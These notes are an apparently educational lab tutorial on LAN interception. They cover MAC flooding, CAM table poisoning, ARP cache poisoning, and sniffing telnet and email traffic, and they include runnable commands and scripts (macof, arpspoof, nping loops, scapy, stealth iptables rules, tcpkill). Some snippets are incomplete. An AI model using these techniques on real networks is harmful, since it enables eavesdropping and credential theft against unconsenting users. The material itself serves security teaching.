Intercepting Communications on Local Area Networks

All data in transit is vulnerable to eavesdropping. Every email we send and every instant message we type can be read by someone for whom it was not intended. Threats to confidentiality are as old as the written word but remain a key component of modern-day computer network compromises. All data in transit can be manipulated and falsified. Implicit in every connection made over the internet is an element of trust -- that information received from others is authentic and legitimate. But as with confidentiality, threats against the integrity and authenticity of information are overwhelmingly successful. Strong encryption, digital signatures, message authentication codes, and other security measures can make it much more difficult for unauthorized users to compromise communications; however, the use of insecure protocols, improper implementation of secure protocols, and user error are woefully common.

This set of notes explores some of the methods used by cyber attackers to intercept communications over local area networks, and importantly, how we as everyday computer users can protect ourselves. These methods range from passive eavesdropping to the direct interference of communications in the form of data manipulation and denial of service. This is not an exhaustive survey of tools and methods, nor is it a "how-to'' guide for burgeoning hackers. It is instead a discussion of the key concepts underlying the more common methods, introduced within the context of a series of demonstrations conducted in our test lab. The ultimate goal is to make ourselves more secure, and the only way to do that is to understand how and to what extent our systems can be compromised by the adversary.

0. A Comment on Networking

The setting for this discussion will be the switched local area network: a relatively small number of interconnected computers typical of one segment of a larger internal network. Internal systems on an Ethernet local area network (LAN) are connected by switches -- routing devices that move data from machine to machine based on media access control (MAC) address, a 48-bit number assigned to the network interface hardware. Because the switch directs traffic based on MAC addresss, only the intended recipient receives the data. These devices are sometimes referred to as "Layer 2'' switches, in reference to the second layer of the Open Systems Interconnection hierarchy of logical communications functions. In contrast, lower level "Layer 1'' devices are simple broadcast hubs. Data moving through a hub will be received by all systems on the LAN segment, not just the intended recipient.1
Think of the OSI model as comprising levels of increasing abstraction. In moving data around on the network, Layer 1 devices, operating at the physical layer, only consider whether systems are physically connected to the network; Layer 2 devices, operating at the data link layer, deal in Ethernet frames and MAC addresses, constructs that supervene on the physical layer. Layer 3 devices, operating at the network layer, are the routers that move data across the internet according to IP address; these devices are ambivalent about MAC addresses and take for granted that devices are physically connected to the network.
This makes snooping around on a Layer 1 network easy: network cards set to promiscuous mode will capture all traffic moving across the LAN segment.2
This is like trying to speak to one other person in a crowded room but your only means of communication is a megaphone. In this analogy, network cards set to promiscuous mode are the other people in the room that have ears.
Layer 2 networks incorporate an additional level of privacy; however, we will see that it is not difficult for an attacker gaining access to the internal network to intercept and manipulate these two-way communication streams.

The act of eavesdropping on a computer network is usually more descriptively termed sniffing. It comes in two varieties: passive and active. The former is accomplished by simply setting the network card to promiscuous mode, sitting back, and collecting all the traffic that flows across it. Traffic can then be examined at the level of constituent packets. Passive sniffing is wholly ineffective on a switched network, where packets are sent only to their intended destinations. To sniff switched communications an attacker must do a bit of legwork, hence the term active sniffing. This is a broad term that encompasses methods that bypass the segmentation that switches provide, typically by injecting traffic into the network that somehow subverts the Layer 2 functionality. The techniques vary, but there are essentially two ways around the switch: the adversary either attacks it directly in an effort to demote it to a Layer 1 device so that it broadcasts all traffic, or he attacks the systems involved in the target connection, quietly inserting himself into the communication. We'll go after the switch first.

1. Targeting the Switch

As Layer 2 devices, basic switches operate at the level of the MAC address, directing traffic by way of a simple lookup table that maps the MAC addresses of the systems to the physical ports that they are connected to. This lookup table is commonly known as a CAM table, for content addressable memory. It's a lousy name, describing how the table contents are stored in memory rather than the table contents themselves; MAC address table is also used and works just fine. In Figure 1 (a), the CAM table of a switch is shown. It includes the MAC addresses of seven systems together with the physical ports to which they are connected (the format is Gi1/0/\#\# where \#\# is the port number). Figure 1 (b) is a photograph of the corresponding physical ports lit up in green.

Fig. 1 (a) Contents of the CAM table of a typical switch. It includes the records of seven systems, mapping MAC address to physical port number. (b) A photograph of the physical ports of the switch; those lit up in green correspond to the systems in the table in (a).

When a packet enters the switch, the destination MAC address is read from the Ethernet frame header and the CAM table is searched for the corresponding port. The CAM table gives the switch the lay of the land and it cannot function without it, but it can only hold so much information -- several thousand MAC address records for the typical switch. If more systems connect to the switch than it has spots for in its CAM table, what happens? One of two things: the switch either rejects the latecomers, or it ceases to be a switch, surrendering to the glut by reverting to a simple broadcast device. Most switch manufacturers err on the side of continuity, rather than denial, of service and so go the second route. The attacker would like to exploit this failover mechanism, but how? He can't very well go and physically attach several thousand more devices to the LAN. If, however, he has a logical presence on the LAN he can trick the switch into thinking there are many more systems on the network than there really are. Before explaining how this is done, we must describe how switches go about building their CAM tables, and more generally, how computers on a LAN communicate with each other.

1.1 Address Resolution Protocol

We've mentioned a couple times that packets are routed through the LAN via MAC address. This means that packets must be labeled with source and destination MAC addresses, much like the return and destination address on a mailed letter. The switch acts like a mailman; it can get the packets to their destinations if they are addressed properly (and it has a trusty map of the area, its CAM table). Suppose Alice (at and Bob ( have computers on the network, and that Bob would like to open a remote connection to Alice's system (say, via telnet or SSH). Bob, as a human, types something like ssh, or even maybe ssh alice if DNS is running or he has a hosts file set up. The point being that Bob doesn't know Alice's MAC address; he deals instead at the level of host names, Domain names, and maybe IP addresses. If Bob doesn't know, perhaps his system does -- he types ssh, his system recognizes this as Alice, and builds the outgoing packet with Alice's MAC address. But here's the thing: even Bob's computer generally doesn't know off-hand what Alice's MAC address is. It has to ask.

This is where the address resolution protocol, or ARP, comes in. ARP is used to convert IP addresses to MAC addresses. In the absence of a record pairing Alice's IP and MAC addresses, Bob's system must request this information from the LAN: "I have a packet here for what is your MAC address? Please tell 00:19:b9:34:66:8e.'' It does this via an ARP request broadcast, so that every host on the LAN gets the message. When hears the broadcast, it issues an ARP reply containing its MAC: " is at 00:19:b9:37:92:e0'' and sends it straight away to Bob's system using the MAC address provided by Bob in the ARP request. Bob's system stores these records in a file called the ARP cache, or ARP table, that it keeps for future messages (no need to continue asking the same question). Generally, though, this record will expire after only a few minutes and the sending computer will need to broadcast new ARP request messages if there has been a lull in the connection during this time. Figure 2 is a quick visualization of the relation between the Open System Interconnection hierarchy, packet layers, and the ARP and CAM tables. We'll have more to say about ARP later.

Fig. 2 Open System Interconnection hierarchy and its relation to packet layers. The network layer oversees the routing of packets across the internet by IP address, and the data link layer is responsible for the physical transfer of packets over the Ethernet LAN by MAC address. The switch links MAC addresses to physical ports. ARP is responsible for mapping IP and MAC addresses; the CAM table associates MAC addresses with ports.

The switch too makes use of these ARP exchanges to populate its CAM table. Suppose that the table is initially empty: the switch sees Bob's ARP request for and takes the opportunity to grab Bob's MAC address, associating it in the CAM table with the physical port through which this traffic entered the switch. Because Bob's message is an ARP request, the switch broadcasts it across the LAN. When Alice's ARP reply enters the switch, it is able to pass this traffic on to Bob's system because it now knows which port is Bob's. The switch also pulls Alice's MAC out of the ARP reply and stores it in the CAM table alongside Bob's. And that's it: with these entries in the CAM table, the switch is able to route all future traffic between Alice and Bob. It is important to notice that the switch happily populates its CAM table without any sort of authentication: it basically takes Bob and Alice at their word that they are who they say they are.

Something else that is important: switches will accept more than one MAC address per physical port. The need is clear, since often these ports are taken up by other switches, themselves connected to many other systems. If an attacker has a logical presence on the LAN (by, say, exploiting one of the systems) he can leverage these two properties -- the unauthenticated storage of MACs in the CAM table and the acceptance of multiple MACs per port -- to subvert the switch. Because the MAC entries are not authenticated, they can be spoofed -- falsified -- by a user on the LAN. Imagine what would happen if the attacker were to send out a continuous stream of spoofed Ethernet frames with a different, made up MAC address in each one. The switch would voraciously and without question collect these MAC addresses, adding them to a rapidly growing CAM table. Unless the stream relents, the CAM table will eventually overflow its bounds and the switch will throw in the towel, reverting to a hub and broadcasting all traffic onto the LAN for all to hear. This is called a MAC flood, and it's very easy to do.

1.2 The MAC Flood

To execute the MAC flood, we need a tool that can craft packets with custom MAC addresses; it doesn't matter what kind of packet. A utility called nping [1] from the Nmap tool suite can create custom headers across a range of protocols and so is well-suited to the task. For example, this command will generate an ARP request packet (also called an ARP ping) destined for Alice with a spoofed source MAC address3
Be aware that there are two ways to spoof a MAC address with nping: with the flag --source-mac or --arp-sender-mac. The former changes the MAC in the Ethernet frame header and the ARP header, whereas the latter changes it only in the ARP header leaving the true MAC in the Ethernet frame header. To switch examines the Ethernet frame header for the MAC and so we must use the former to spoof MAC addresses in the CAM table.

$ nping --arp-type arp --source-mac <mac_addr>

The recipient doesn't need to be Alice (it could be anyone on the LAN); the request only needs to get as far as the switch so that the spoofed MAC address gets added to the CAM table. To implement the MAC flood with nping, it must be run over and over again with a different sender MAC address each time. We could write a quick shell script that does this, but it is very slow: nping takes a second or two to initialize, fire off a packet, and clean up. At that rate it would take more than 10 minutes to fill a typical CAM table. Instead we'll use a ready-made tool that does the MAC flood out of the box, called macof, from the dsniff tool package [dsniff].

To demonstrate the MAC flood in the lab we need a switch, a couple of bystander systems (Alice and Bob), and an attacker system. We will call our attacker Joe. The lab switch is a Cisco Catalyst 3570, and Alice and Bob are both running Debian Linux machines. Joe is using a Kali Linux system connected directly into the switch, i.e. it is on the target LAN along with Alice and Bob4
While only strictly realistic for an insider with physical access to the network, this setup adequately models the more realistic situation where Joe exploits a system on the network from the outside, and then runs the MAC flood from the compromised system.
. Joe executes the MAC flood using macof by simply typing macof on the command line, no arguments. It unleashes a torrent of TCP packets with randomized source and destination IP addresses and, importantly, randomized MAC addresses.

We first consider the case of an empty CAM table. Switches generally refresh the CAM table every few minutes and it will remain empty if there is a lull in traffic on the LAN. The macof utility works rapidly, sending upwards of a hundred thousand or so packets per a minute. The Catalyst 3750 CAM table holds a maximum of 6000 records, and so macof causes it to overflow in a matter of seconds. Once the CAM table is full, no new entries can be added: if Alice and Bob try to communicate after the flood has saturated the switch, the switch will broadcast their traffic because it doesn't know which ports are theirs. A packet sniffer running on Joe's system confirms that indeed, Alice and Bob's messages can be read by others. Figure 3 shows a series of intercepted ping exchanges between Alice and Bob (ICMP echo request/reply pairs) to demonstrate the effect of the MAC flood. The several packets preceding the pings is the spoofed junk being spewed by macof.

Fig. 3 Intercepted pings from Bob to Alice. Click to enbiggen.

Suppose next that the CAM table is not empty. Perhaps Alice and Bob have been chatting or one has remotely accessed the other's system for one reason or another. If Joe now floods the CAM table, a curious thing happens: as the flood commences the table fills in around Alice's and Bob's records, in order of growing hexadecimal MAC address. In Figure 4 the CAM table prior to and after the commencement of the flood is shown.

Fig. 4 Flooded CAM Table. CAM table before (top) and after (bottom) the commencement of the MAC flood. Prior to the flood, there are two legitimate records in the table on ports 37 and 43. As the flood commences, the table fills around these records.

Notice in the bottom table the many MAC records that correspond to physical port 35, Joe's port. Because the CAM table fills up in order of increasing MAC address, legitimate MACs already present in the table will remain so as long as they are near the beginning. Because Alice and Bob are still in the CAM table, they are unaffected by the flood and their communications remain as private as they were before. So, because of the way the switch populates the CAM table (in order of increasing MAC address) and the fact that macof randomizes the MAC address across a wide range of address space, there is a chance that records in the CAM table prior to the flood will not be lost. This suggests an obvious improvement over the way macof generates MAC addresses: randomize instead over a very small range of low-numbered MAC addresses, for example, those with the fixed prefix 00:00:00:. As long as all the spoofed entries have lower addresses than any legitimate MACs pre-existing in the table, these legitimate MACs will be pushed out by the flood. Here is a script that uses Python's excellent scapy library to craft raw Ethernet frames with random MAC addresses and broadcast them in an endless loop:

import random
from scapy.all import * 

raw = Ether()
raw.type = 0x806

while TRUE:
  raw.src = "%02x:%02x:%02x:%02x:%02x:%02x" % (random.randint(0,255), random.randint(0,255), random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
In summary, the CAM flood is a switch-directed attack that causes connections to be broadcast onto the LAN so that an attacker can eavesdrop on affected traffic. We next consider a technique that establishes a man-in-the-middle, where the attacker actually inserts himself into the communication stream. From this vantage point, he can either passively eavesdrop or more directly control the communication flow and data content.

1.3 CAM Table Poisoning

MAC spoofing is the act of falsifying a MAC address. We've just done this en masse in the last section, but it wasn't the spoofing itself that breached the confidentiality of Alice and Bob's connection. Instead, it was the shear number of spoofed MACs that caused the switch to effectively malfunction; in other words, it didn't matter what the MAC addresses were, so long as there were tons of them. In this section, we will describe a technique that spoofs the MAC addresses of the target systems in a bid to poison the switch CAM table in order to intercept communications. This is a kind of man-in-the-middle attack, aptly-characterized as the less attractive and successful cousin of the ARP cache poisoning man-in-the-middle that we'll discuss later.

There is surprisingly little information available on the MAC spoof man-in-the-middle, and, to my knowledge, no public tools that conduct the attack. That's probably because it's evidently hard to do. I've written a script (see Appendix) as a proof of concept that works reasonably well when the two victims are communicating exclusively, but the man-in-the-middle gets broken if there are other systems exchanging packets with the victims. I have some thoughts on how to implement a successful attack on the realistic subnet and the devil is in the details, but I think the basic theory of how to intercept a single communication on an otherwise quiet network via CAM table poisoning is instructive for understanding a solution to the general problem. Suppose that the CAM table has entries for Alice and Bob. What would happen if Joe were to send out a packet with, say, Alice's MAC address in place of his own in the Ethernet frame header? If the switch simply adds this record to the CAM table so that Alice's MAC address gets mapped to both Alice's and Joe's ports, then Joe will see Alice's traffic. But this is not what happens. Instead, the switch boots Alice from the table and assigns her MAC address to Joe's port! (See Figure 5).

Fig. 5 Poisoned CAM table. CAM table before (top) and after (bottom) Joe spoofs Alice's MAC address. The switch replaces Alice's legitimate record with Joe's spoofed record.

Now Joe is the sole recipient of Alice's traffic and Alice sees nothing. This is no good since Alice will be miffed about losing connectivity and it defeats the purpose of eavesdropping -- the connection ends when Joe intercepts it.

Suppose Joe captures a packet from Bob en route to Alice. Joe must pass the intercepted packet on to Alice to keep the conversation going, but how? The switch thinks he is Alice! Evidently, Joe must "unpoison'' the CAM table. He needs her to send a packet so that the switch adds her as a legitimate record to the CAM table. He can do this by making an ARP request of Alice (remember this is a broadcast so Alice will get it regardless of whether she has a record in the CAM table). When Alice replies to the ARP request the switch assigns her MAC address to her proper port, clearing out Joe's record. Now everything is right and good, and Joe can forward the packet on to Alice. Next he must poison Bob's record so that he can intercept Alice's reply. He could do this by sending out a spoofed Ethernet frame with Bob's MAC in it, poisoning Bob's CAM table entry just as he did for Alice. But there's a more efficient way: when Joe sends the ARP request to Alice in his attempt to unpoison her record as in the previous step, he could use Bob's MAC as the source address. This way, when the switch examines Joe's spoofed ARP request, it will list Bob's MAC with Joe's port in the CAM table -- a successful poisoning. The spoofed ARP request is a simple way to unpoison the recipient and poison the sender in one move. Now Joe is poised to capture Alice's reply to Bob. To keep the conversation going, Joe must now forward Alice's reply packet along by unpoisoning Bob, and repoisoning Alice by way of spoofed ARP request. Wash, rinse, repeat.

Fig. 6 Schematic of one leg of the CAM table poisoning attack. Regarding notation, "Ether'' indicates that an raw Ethernet frame is sent, "ARP'' indicates an ARP packet. The wording "I'm Alice'' should be understood to mean that this is the source MAC address provided in the message. So in step 1 Joe is sending a spoofed Ethernet frame with Alice's MAC address in it. The boxes illustrate the state of the switch CAM table at each step. In step 0, the CAM table is unpoisoned and complete, showing that Alice, Bob, and Joe are connected to ports 1, 2, and 3.

The above series of steps is illustrated in Figure 6 and succinctly summarized as an algorithm:

1. Send Ethernet frame with victim A's MAC address. This poisons the CAM table.
2. Capture packet from victim B en route to victim A.
3-4. Send spoofed ARP request to victim A with victim B's source MAC. This unpoisons victim A's record and poisons victim B's record.
5. Send packet along to victim A. This also poisons victim B's record.
6. Capture response from victim A en route to victim B.
7-8. Send spoofed ARP request to victim B with victim A's source MAC. This unpoisons victim B's record and poisons victim A's record.
9. Repeat steps 2 through 6, swapping A and B in consecutive iterations.

Figure 7 shows the man-in-the-middle in action from Joe's perspective, snooping on a ping exchanged between Alice and Bob. This is a slight variation on the above algorithm which addresses the fact that Joe doesn't know who will actually ping whom first. He therefore poisons both Alice and Bob at the same time. The spoofed ARP request still has the important role of poisoning the sender because they unpoison themselves by sending the initial packet in step 2 (more correct to say Joe "repoisons'' them). A custom script (called switcheroo) that implements the poisoning shown in Figure 7 is given in the appendix.

Fig. 7 Joe sends legitimate ARP requests to Alice and Bob to learn their MAC addresses (packets 301-304). With these in hand, Joe next sends two raw Ethernet packets out onto the wire: one with Alice's source MAC and the other with Bob's (these are the "Malformed Packets'' 305 and 306). Bob's echo request to Alice (310) is intercepted by Joe; to unpoison Alice and repoison Bob, Joe sends a spoofed ARP request to Alice (311). Note that the source MAC address is Bob's (the field Dell_34:66:8e indicates the source MAC). After unpoisoning Alice's record, Joe sends Bob's original ping along (312). Joe receives Alice's reply (313), sends a spoofed ARP request to Bob to unpoison Bob/repoison Alice (314), and finally sends Alice's reply along to Bob (315). Click to enbiggen.

A few points are in order. The process described above works only under the rare circumstance that Alice and Bob are in communication with nobody but each other, i.e. that the only packets leaving Bob's machine are going to Alice in response to packets arriving at his machine from Alice. In reality this is unlikely to be the case and it's easy to see why additional traffic defeats the man-in-the-middle: anytime Bob or Alice send a packet through the switch they unpoison the CAM table, reclaiming their MAC address from Joe. This is true no matter what kind of packet they send: the switch examines the Ethernet frame header of each and every packet flowing through it, regularly updating the CAM table. To prevent this, Joe must continuously poison both Alice's and Bob's entries in the CAM table by sending constant streams of spoofed Ethernet frames.

A consequence of this persistent poisoning, however, is that now Joe will receive all packets arriving for Alice and Bob, like Bob's email or Alice's web searches, in addition to any direct communication between them. In essence, Joe is casting a wide, finely-meshed net that inevitably catches undesired traffic, garbage, and manatees. The problem with this is that now Joe is responsible for this traffic and he must take care to forward all of it along to avoid noticeably degrading or blocking the data flow. To ensure continuity of service, whenever Joe receives a packet for either Alice or Bob he must unpoison the table long enough to send it through and then quickly repoison it before any packets can sneak through the punctured dragnet. So in contrast to the clean, single communication scheme shown in Figure 6, the all-purpose CAM poisoning attack must involve constant poisoning to capture traffic and frequent but discrete unpoisonings to pass it along: it is a frenzied but coordinated dance of spoofed Ethernet frames and ARP requests. In principle, it's possible that some traffic can sneak through Joe's net before he has a chance to repoison it and so the man-in-the-middle might be a little leaky, but that's the price we pay for maintaining stealth.

2. Targeting Hosts

It is clear that CAM table poisoning does not establish a traditional man-in-the-middle, since it captures more than just the traffic exchanged between two victims. This is fundamentally because the attack operates at the level of the switch -- it is a Layer 2 attack -- targeting the switch port-MAC address mapping in the CAM table. We turn now to a more robust man-in-the-middle attack based on the technique of ARP cache poisoning. This is a true man-in-the-middle that targets the higher-layer MAC-IP address mapping in the ARP table of the victim systems.

2.1 ARP Cache Poisoning

The address resolution protocol, or ARP, was discussed in the last section where it had only peripheral relevance to the switch attacks (its only necessary role was in prompting a victim to send legitimate traffic to unpoison the CAM table). Recall that ARP is used by systems to translate IP addresses to MAC addresses in order to create packets with with correct destination data. This is orchestrated via ARP requests, or ARP "who-has'' broadcasts: "Who has Tell''. System then responds with an ARP reply, or ARP "is-at'' packet to " is at 00:19:b9:37:92:e0''. The respondent sends the reply to the MAC address appearing in the sender hardware address field of the ARP header, and caches this address in its personal ARP table. Likewise, the system originating the request caches the respondent's MAC address in its personal ARP table, The one potential problem here is that ARP does not employ any authentication when it receives a request or response -- it simply caches the record without question. This weakness can be exploited to spoof the identity of a system on the LAN to perform a man-in-the-middle or denial of service attack.

2.1.1 Spoofing ARP Records

Here's how the attack works. Like the attacks covered in the previous section, the attacker must have access to the LAN segment since ARP is only broadcast locally on the subnet. The story book version of the attack goes something like this. When an ARP broadcast request comes across the LAN ("Who has''), the attacker volunteers an answer for the intended recipient, " is at 00:1c:23:34:58:1c.'' The attacker has provided his own MAC address in the reply, with the hopes that it will simply be cached alongside IP address in's ARP table. If he succeeds, he will have poisoned the system's ARP cache and the system will send all traffic intended for to the attacker (see Figure 8).

Fig. 8 Output of arp -a on the poisoned host. Note that both and, the attacker, have the same MAC address cached.

As an apt analogy, suppose someone sends the post office a change of address notification on your behalf, entering their home address as your new locale. Without proper checks in place, your mail would be delivered to the wrong address. This is precisely what happens with ARP cache poisoning (in CAM table poisoning, the post office has an erroneous map and simply leaves some other guy's letter to your address).

The situation at this point is nearly identical to the first leg of the CAM table poisoning technique: the attacker has intercepted and passed along one side of the dialogue. To intercept traffic inbound to from, he must also poison's ARP table. But how? There won't be any more ARP requests for the attacker to bogart, at least not until the caches are refreshed (after several minutes of a lull in communication). This is where the storybook version of events gets it wrong: the attacker doesn't need to wait for ARP requests -- he can send an unsolicited spoofed ARP reply to any random system and have his spoofed record cached. Well, almost. There is one small caveat that we'll address in due time. ARP cache poisoning can be demonstrated using the same lab setup as the switch attacks. We have Alice ( and Bob (, the Catalyst 3750 switch, and our attacker, Joe ( There is a public utility called arpspoof [dsniff] that can be used to conduct the attack. It sends unsolicited, spoofed ARP replies to Bob with Alice's IP address and to Alice with Bob's IP address. In both replies Joe includes his MAC address so that both Alice and Bob will associate each others' IP addresses with Joe's MAC address in their ARP tables. To poison Alice's ARP cache, Joe issues

$ arpspoof -i eth0 -t

The -i eth0 identifies the network interface, and the -t switch indicates the target IP. The second IP address is that of the system that we are spoofing. The result is a stream of unsolicited ARP replies to Alice.

Fig. 9 Unsolicited ARP replies issued by the attacker. Note that the same MAC address is being announced for two different IP addresses. Click to enbiggen.

Joe next does the same to Bob: $ arpspoof -i eth0 -t, where the ordering of the IP's has been reversed. Figure 9 shows the spoofed replies. This, however, might not be successful because some operating systems are simply not interested in listening to gratuitous, unsolicited ARP replies from strangers. The key word here is strangers: only if the target system already has a record for the soon-to-be-spoofed system will it update the record with the unsolicited ARP reply. Windows XP SP2 and Debian Linux5
To force the system to accept unsolicited ARP replies regardless of the state of its cache, on Linux issue echo 1 > /proc/sys/net/ipv4/conf/all/arp_accept; on Windows XP, it can be changed by modifying registry keys but don't ask me how.
exhibit this behavior. If Alice and Bob are in frequent communication, there's a good chance that they have each others' MAC addresses cached; however, these records do not persist for long, only around 5 minutes for XP and less for Debian Linux. So to be completely sure that arpspoof will succeed, Joe should must ensure that Alice and Bob have each other's records cached before he launches the attack. This can be done in several ways; one idea is to send a spoofed ping to Alice with Bob as the source IP,

$ nping --icmp-type 8 --source-ip --dest-ip

where icmp-type 8 denotes an ICMP echo request and the other flags are self-evident. If Bob is not in Alice's ARP table, she must determine his MAC address before she can issue an ICMP echo reply -- she does this via ARP broadcast request. When Bob hears the request, he caches Alice's MAC address and replies with his MAC address. Of course Bob is confused when he gets an echo reply to a ping he didn't send, but this causes no problems. This sequence is illustrated in Figure 10.

Fig. 10 Schematic of the arpspoof attack.

Another way to poison an ARP table is with spoofed ARP request. Recall that a system receiving an ARP request records the source MAC address straight away so that it can respond. Using ARP requests, one avoids the issue of needing to "seed'' the ARP tables first with a spoofed ping. And it's easier to automate the process with the spoofed ARP request, since the ICMP echo request sets up a race condition (an ARP request/reply must transpire between the victims before the ARP spoofing can commence). The following shell script can be used in place of arpspoof:

nping --arp-type arp --arp-sender-ip $1 --arp-target-ip $2
nping --arp-type arp --arp-sender-ip $2 --arp-target-ip $1

while true; do
  nping --arp-type arp-rep $1 $2
  nping --arp-type arp-rep $2 $1
The first line requests target 2's MAC address, pretending to be from target 1 but with attacker's MAC address; the second line requests the converse from target 1. These seed both ARP caches, and then the while loop does what \texttt{arpspoof} does: it sends repeating unsolicited spoofed ARP replies to the targets to keep the caches poisoned. Why not just send a stream of spoofed ARP requests? We could, but that generates twice as much as traffic (request-reply) as the spoofed ARP replies.

2.1.2 Forwarding Packets

Joe has succeeded in establishing a man-in-the-middle: he can intercept all traffic between Alice and Bob. But as it is, Joe is sequestering this traffic, effectively denying all communication between Alice and Bob. The packets that Joe intercepts are trying to get somewhere else: though they have destination MAC addresses matching Joe's (on account of the poisoning), the destination IP's belong to Alice or Bob. This the same situation a typical router finds itself in: it receives packets destined for other systems. If the router knows the destination MAC address (say, via its own ARP table), it can send it along. Joe's Linux system is capable of performing this basic routing function, called IP forwarding, by issuing echo 1 > /proc/sys/net/ipv4/ip_forward.

Intercepted traffic is now able to pass through the man-in-the-middle undisturbed, but there are a few side effects. First, Joe's computer will notice that it is forwarding packets between two machines that can otherwise talk directly to each other (they are on the same subnet). Joe's computer will bring this to everyone's attention by sending Alice and Bob ICMP redirect notifications. These are meant to be helpful suggestions that a more direct route is available. So much for stealth, Joe's system is undermining his own attack! If anyone is sniffing, they will discover Joe's ICMP traffic (the redirect messages also appear on Alice and Bob's standard out.) One easy way that Joe can stifle his ICMP traffic is to institute a firewall rule that simply drops these packets before they can leave his machine. Iptables is a widely available packet filter that runs on the host that can block ICMP redirects,

$ iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP

where the syntax indicates that we are adding a rule (-A) that will drop (-j DROP) ICMP redirect packets (-p icmp --icmp-type redirect) coming from the host itself (OUTPUT). This will silence Joe's computer-turned-router.

There is a second side effect of IP forwarding -- as Joe forwards the traffic, his system decrements the time to live (TTL) of each packet by 1. If either Alice or Bob are inspecting their packet headers and happen to know the number of hops between their systems, they will discover the extra hop. We again enlist iptables:

$ iptables -t mangle -A FORWARD -j TTL --ttl-inc 1

where the syntax indicates that we are using the mangle table (-t mangle) to add a rule relevant to forwarded packets (-A FORWARD) that increments the TTL value by one (-j TTL --ttl-inc 1).

Lastly, there is a more subtle effect of the IP forwarding in the form of latency. Joe's system must do some processing on each packet it receives before it can send it along: it's not much -- it merely swaps out the Ethernet frame header with one appropriate for the intended recipient -- but it can lead to measurable delays in packet transit times. In the lab, pings are observed to take over 3 times longer to move between Alice and Bob when they are passing through a man-in-the-middle.

3. Man-in-the-Middle Practicum

Intercepting pings was well and good for demonstrating the conceptual side of the man-in-the-middle paradigm. Now it's time to demonstrate the implementation of the attack in the context of more realistic communications.

3.1 Eavesdropping on Cleartext

The passive monitoring of communications can be achieved through any of the above methods, including the MAC flood. Cleartext communications are obviously a prime target for snooping, and sadly, they are still much in use on the LAN and across the internet. Email, chat, and web traffic often move across the world unencrypted, and within the presumed secure confines of the LAN, some remote administrative duties are conducted in the clear.

3.1.1 Telnet

The primary tool for viewing intercepted traffic is the packet sniffer. We've been showing screen captures of Wireshark [wireshark] throughout these notes: it is a popular graphical packet sniffer that recognizes a wide range of protocols, supports custom filters, and lots of other fancy stuff. In the following example, we'll consider a Telnet connection from Bob's computer to Alice's. Telnet is a common text-oriented remote virtual terminal connection, similar to the "r'' family of Unix commands and PsExec on Windows. We select it for our example because, although communications over Telnet are transmitted in cleartext, it is still used on internal networks for remote administration. Joe's objective is to capture Bob's password as he initiates a Telnet connection to Alice's computer.

The Telnet TCP stream is shown in Figure 11. Wireshark nicely labels and color-codes the Telnet traffic for us (woops...looks like we forgot to suppress those annoying ICMP redirect messages).

Fig. 11 Sniffing Telnet traffic. Click to enbiggen.

In a typical Telnet session, thousands of packets ferry messages back and forth; Wireshark conveniently allows us to view the entire TCP stream. Figure 12 shows the complete communication in the same sequence that it was transmitted across the network. Let's take a good look at this output.

Fig. 12 TCP stream capture of Bob's Telnet session. Click to enbiggen.

The login attempt comes after the "Welcome to Microsoft Telnet Service'' banner. You'll notice that Bob's username appears as BBoobb in alternating red and blue: the red indicate traffic originating from Bob's computer (the client), the blue are replies from Alice's (the server). Why the repetition? Take a look back at Figure 11 and notice the black-colored packets labeled as "TCP Retransmission''. These are unusual: both Bob and Alice are sending each packet twice. Look in particular at packets 26 and 27 coming from Alice: packet 26 is the original and 27 is a duplicate retransmission. Packet 28 is Bob's acknowledgment (ACK) of packet 26, followed by another ACK in packet 30 associated with the duplicate retransmission, packet 27. All of the retransmissions are because of Joe: the IP forwarding process introduces just enough latency that Alice and Bob get impatient awaiting each other's replies. The reliability of TCP ensures that no packets are lost: if an ACK packet is not received within a given time frame, the packet is resent. All of this duplicated TCP traffic makes for a very noisy and conspicuous man-in-the-middle, and has implications for detection that we'll discuss later.

Getting back to the captured Telnet thread in Figure 12, the next line is what Joe is after -- Bob's password: qwerty12345. After logging in, Bob evidently issues the ipconfig command on Alice's computer (4th line from the bottom), and we can see the output. Notice that IP Address shows, Alice's IP address.

It is possible that Joe intercepts the Telnet connection after Bob has authenticated; while Joe will still have access to the juicy details of Bob's connection, he will have missed his opportunity to capture Bob's credential. There is a utility called tcpkill [dsniff] that, as the name suggests, kills TCP connections like Telnet. By issuing tcpkill -i eth0 -9 host, a listener starts on Joe's interface eth0 and begins examining the TCP sequence numbers of packets coming and going from Bob. It then sends a spoofed reset packet appearing to originate from Alice with the correct TCP sequence number, causing Bob's system to terminate the connection. The hope is that Bob will think little of the dropped session and reconnect so that Joe will be in position to observe the authentication.

3.1.2 Email

Most email spends at least some of its life in transit encrypted. This is true of popular webmail services like Gmail and Yahoo, which ride over HTTPS (secure HTTP) between browser and server. Microsoft Exchange and Outlook, common in corporate environments, also pass messages securely by default over HTTPS. A man-in-the-middle can sniff this email traffic on the LAN but will be disappointed. There are, however, email systems that are built from non-proprietary protocols that might or might not be configured securely, and as we just learned from looking at Telnet, this makes it vulnerable to eavesdropping.

The open standard for sending email on the internet is the Simple Mail Transfer Protocol, or SMTP. Mail clients use SMTP, which is a connection-oriented protocol specifying the details of message transport, to send emails to mail servers. Mail servers likewise use SMTP to relay these messages to other mail servers. SMTP is heavily employed by iOS and Linux mail systems, and is the core protocol in open client/server architectures. There is a secure variety of SMTP, called SMTPS, which implements SMTP over TLS/SSL.

From the perspective of the mail client, SMTP is a one-way street: it is used to send mail but not to receive it. The task of email retrieval is taken up by one of two popular standards: Internet Message Access Protocol, or IMAP, or Post Office Protocol, or POP. The primary and simple distinction between these two is how they handle message retrieval: POP downloads email messages for local access and storage, while IMAP leaves them on the server, storing them only temporarily for local viewing. Like SMTP, both IMAP and POP support encryption over TLS/SSL so that messages can be securely sent and retrieved over the LAN; however, insecure implementations of SMTP, IMAP, and POP are unfortunately common.

A man-in-the-middle can access and inspect all data flowing across his network interface. We just used Wireshark to identify and inspect Telnet traffic and we can do the same with the various email protocols. In this next example, Joe has poisoned Bob (at and the local mail server, mail.cheeseblock.org6
Don't ask.
(at with the hope of snooping on Bob's email. The mail server is using nonsecure SMTP; Bob's email client is Icedove (Mozilla Thunderbird's open source beneficent doppelganger) configured to use nonsecure IMAP for message retrieval. To find the email traffic amidst the profusion of other packets collected by Wireshark, Joe can apply a filter like stmp or imap or pop or tcp.port == 25 or tcp.port == 143 or tcp.port == 110 as a catch-all. Figure 13 shows an intercepted inbound message. Uh oh, looks like a ransom note!

